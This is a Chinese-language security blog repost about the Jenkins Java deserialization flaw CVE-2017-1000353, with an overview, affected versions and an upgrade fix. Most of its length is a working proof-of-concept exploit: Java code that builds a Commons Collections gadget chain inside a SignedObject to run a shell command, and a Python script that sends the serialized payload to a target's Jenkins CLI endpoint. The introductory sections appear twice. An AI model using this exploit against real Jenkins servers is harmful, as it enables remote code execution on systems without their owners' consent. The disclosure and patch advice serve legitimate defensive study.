Jenkins反序列化漏洞(CVE-2017-1000353)

JAVASEC 2019年11月21日00:27:36评论587 views字数 6984阅读23分16秒阅读模式
摘要

1.综述
Jenkins是一款持续集成(continuous integration)与持续交付(continuous delivery)系统,可以提高软件研发流程中非人工参与部分的自动化处理效率。
CloudBees Jenkins中存在Java反序列化漏洞,可导致远程代码执行。
2.漏洞概述
漏洞类型:反序列化远程代码执行漏洞
危险等级:高危
利用条件:Jenkins在受影响版本内,并开启基于远程的Jenkins CLI
受影响系统:Jenkins小于2.57、Jenkins LTS小于2.46.2
3.漏洞编号
CVE-2017-1000353 Jenkins反序列化漏洞
4.漏洞描述
CloudBees Jenkins中存在Java反序列化漏洞,可导致远程代码执行。该远程代码执行漏洞允许攻击者将序列化的Java SignedObject对象传输到基于远程的Jenkins CLI,恶意数据可以绕过现有基于黑名单的保护机制,使用新的ObjectInputStream进行反序列化,导致远程代码执行。
漏洞利用(POC)
1.使用JAVA CODE生成payload,设置好要执行的命令,或者打成JAR包来生成,这里有一个小细节问题,import net.sf.json.JSONArray;这个包一点要用jenkins的,之前在maven里找测试都不成功,用了jenkins的直接OK:

Jenkins反序列化漏洞(CVE-2017-1000353)
1.综述
Jenkins是一款持续集成(continuous integration)与持续交付(continuous delivery)系统,可以提高软件研发流程中非人工参与部分的自动化处理效率。
CloudBees Jenkins中存在Java反序列化漏洞,可导致远程代码执行
2.漏洞概述
漏洞类型:反序列化远程代码执行漏洞
危险等级:高危
利用条件:Jenkins在受影响版本内,并开启基于远程的Jenkins CLI
受影响系统:Jenkins小于2.57、Jenkins LTS小于2.46.2
3.漏洞编号
CVE-2017-1000353 Jenkins反序列化漏洞
4.漏洞描述
CloudBees Jenkins中存在Java反序列化漏洞,可导致远程代码执行。该远程代码执行漏洞允许攻击者将序列化的Java SignedObject对象传输到基于远程的Jenkins CLI,恶意数据可以绕过现有基于黑名单的保护机制,使用新的ObjectInputStream进行反序列化,导致远程代码执行。
漏洞利用(POC)
1.使用JAVA CODE生成payload,设置好要执行的命令,或者打成JAR包来生成,这里有一个小细节问题,import net.sf.json.JSONArray;这个包一点要用jenkins的,之前在maven里找测试都不成功,用了jenkins的直接OK:

package com.sevck;  import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.io.ObjectStreamException; import java.io.Serializable; import java.lang.reflect.Field; import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.PrivateKey; import java.security.PublicKey; import java.security.Signature; import java.security.SignedObject; import java.util.Comparator; import java.util.HashMap; import java.util.HashSet; import java.util.Map; import java.util.concurrent.ConcurrentSkipListSet; import java.util.concurrent.CopyOnWriteArraySet; import net.sf.json.JSONArray; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.collection.AbstractCollectionDecorator; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.ReferenceMap; import org.apache.commons.collections.set.ListOrderedSet;  public class Payload implements Serializable {     private Serializable payload;     public Payload(String cmd) throws Exception {         this.payload = this.setup(cmd);     }     public Serializable setup(String cmd) throws Exception {         final String[] execArgs = new String[] { cmd };         final Transformer[] transformers = new Transformer[] {                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getMethod", new Class[] { String.class,                         Class[].class }, new Object[] { "getRuntime",                         new Class[0] }),                 new InvokerTransformer("invoke", new Class[] { Object.class,                         Object[].class }, new Object[] { null, new Object[0] }),                 new InvokerTransformer("exec", new Class[] { String.class },                         execArgs), new ConstantTransformer(1) };         Transformer transformerChain = new ChainedTransformer(transformers);         final Map innerMap = new HashMap();         final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);          TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");         HashSet map = new HashSet(1);         map.add("foo");         Field f = null;         try {             f = HashSet.class.getDeclaredField("map");         } catch (NoSuchFieldException e) {             f = HashSet.class.getDeclaredField("backingMap");         }         f.setAccessible(true);         HashMap innimpl = (HashMap) f.get(map);         Field f2 = null;         try {             f2 = HashMap.class.getDeclaredField("table");         } catch (NoSuchFieldException e) {             f2 = HashMap.class.getDeclaredField("elementData");         }         f2.setAccessible(true);         Object[] array2 = (Object[]) f2.get(innimpl);         Object node = array2[0];         if (node == null) {             node = array2[1];         }         Field keyField = null;         try {             keyField = node.getClass().getDeclaredField("key");         } catch (Exception e) {             keyField = Class.forName("java.util.MapEntry").getDeclaredField(                     "key");         }         keyField.setAccessible(true);         keyField.set(node, entry);         KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");         keyPairGenerator.initialize(1024);         KeyPair keyPair = keyPairGenerator.genKeyPair();         PrivateKey privateKey = keyPair.getPrivate();         PublicKey publicKey = keyPair.getPublic();         Signature signature = Signature.getInstance(privateKey.getAlgorithm());         SignedObject payload = new SignedObject(map, privateKey, signature);         JSONArray array = new JSONArray();         array.add("asdf");         ListOrderedSet set = new ListOrderedSet();         Field f1 = AbstractCollectionDecorator.class                 .getDeclaredField("collection");         f1.setAccessible(true);         f1.set(set, array);         DummyComperator comp = new DummyComperator();         ConcurrentSkipListSet csls = new ConcurrentSkipListSet(comp);         csls.add(payload);         CopyOnWriteArraySet a1 = new CopyOnWriteArraySet();         CopyOnWriteArraySet a2 = new CopyOnWriteArraySet();         a1.add(set);         Container c = new Container(csls);         a1.add(c);         a2.add(csls);         a2.add(set);         ReferenceMap flat3map = new ReferenceMap();         flat3map.put(new Container(a1), "asdf");         flat3map.put(new Container(a2), "asdf");         return flat3map;     }     private Object writeReplace() throws ObjectStreamException {         return this.payload;     }     static class Container implements Serializable {         private Object o;         public Container(Object o) {             this.o = o;         }         private Object writeReplace() throws ObjectStreamException {             return o;         }     }     static class DummyComperator implements Comparator, Serializable {         public int compare(Object arg0, Object arg1) {             // TODO Auto-generated method stub             return 0;         }         private Object writeReplace() throws ObjectStreamException {             return null;         }     }     public static void main(String args[]) throws Exception{ //        if(args.length != 2){ //            System.out.println("java -jar payload.jar outfile cmd"); //            System.exit(0); //        } //        String cmd = "nslookup jijjjj.a.0.ubook.pub";         String cmd = "touch /tmp/sevck";         FileOutputStream out = new FileOutputStream("D://project//jenkins//main//payload.txt");         Payload pwn = new Payload(cmd);         ObjectOutputStream oos = new ObjectOutputStream(out);         oos.writeObject(pwn);         oos.flush();         out.flush();     } } 

2.python设置url,读取payload,进行发包:

#!/usr/bin/env python # coding:utf-8 # @Date    : 2017/5/3 17:44 # @File    : jenkins.py # @Author  : sevck ([email protected]) # @Link    : http://www.javasec.cn                   #-------------------------------------------------------------------------   import urllib import requests import uuid import threading import time import gzip import urllib3 import zlib proxies = { #  'http': 'http://127.0.0.1:8090', #  'https': 'http://127.0.0.1:8090', }  URL='http://192.168.197.193:8080/jenkins/cli' PREAMLE='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=' PROTO = '/x00/x00/x00/x00' FILE_SER = open("payload.txt", "rb").read() def download(url, session):     headers = {'Side' : 'download'}     headers['Content-type'] = 'application/x-www-form-urlencoded'     headers['Session'] = session     headers['Transfer-Encoding'] = 'chunked'     r = requests.post(url, data=null_payload(),headers=headers, proxies=proxies, stream=True)     print r.text def upload(url, session, data):     headers = {'Side' : 'upload'}     headers['Session'] = session     headers['Content-type'] = 'application/octet-stream'     headers['Accept-Encoding'] = None     r = requests.post(url,data=data,headers=headers,proxies=proxies) def upload_chunked(url,session, data):     headers = {'Side' : 'upload'}     headers['Session'] = session     headers['Content-type'] = 'application/octet-stream'     headers['Accept-Encoding']= None     headers['Transfer-Encoding'] = 'chunked'     headers['Cache-Control'] = 'no-cache'     r = requests.post(url, headers=headers, data=create_payload_chunked(), proxies=proxies) def null_payload():     yield " " def create_payload():     payload = PREAMLE + PROTO + FILE_SER     return payload def create_payload_chunked():     yield PREAMLE     yield PROTO     yield FILE_SER def main():     print "start"     session = str(uuid.uuid4())     t = threading.Thread(target=download, args=(URL, session))     t.start()     time.sleep(1)     print "pwn"     #upload(URL, session, create_payload())     upload_chunked(URL, session, "asdf") if __name__ == "__main__":     main() 

6.修复建议
升级到官方最新版: Jenkins 2.57、Jenkins LTS 2.46.2

实在不想测,或不会测可进行在线检测:http://check.qingteng.cn/

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
JAVASEC
  • 本文由 发表于 2019年11月21日00:27:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jenkins反序列化漏洞(CVE-2017-1000353)http://cn-sec.com/archives/70674.html

发表评论

匿名网友 填写信息